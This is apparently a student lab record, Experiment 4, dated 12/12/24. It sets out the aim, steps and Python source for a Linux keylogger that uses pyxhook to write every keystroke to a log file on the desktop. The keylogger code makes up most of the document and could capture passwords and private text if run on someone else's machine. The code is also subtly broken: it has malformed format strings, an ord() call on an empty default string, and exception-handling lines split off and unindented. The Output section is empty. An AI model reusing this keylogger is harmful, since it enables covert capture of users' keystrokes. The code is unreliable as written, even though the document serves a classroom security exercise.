

Experiment no: 4

Date: 12/12/24

Keyloggers

AIM:
To Write the python program to Implement Key loggers to Implement Key Strokes in Linux

ALGORITHM:

- Step 1: Check if python-xlib is Installed
- Step 2: Run pyxhook file Using the Command
- python pyxhook.py
- Step 3: Create the file key.py
- Step 4: Run key.py to Record All key Strokes
- Step 5: open file.log file to View all the Recorded Key Strokes

Exp 4: Keyloggers

Code:

```
# Python code for keylogger
# to be used in linux
import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default:
cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        ''
    )[0]
)

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        # File does not exist, or no permissions.
        pass

#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{ }\n'.format(event.Key))

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start()        # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n { }\n'.format(ex)
```

```
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
    f.write('\n{}'.format(msg))
```

Output:

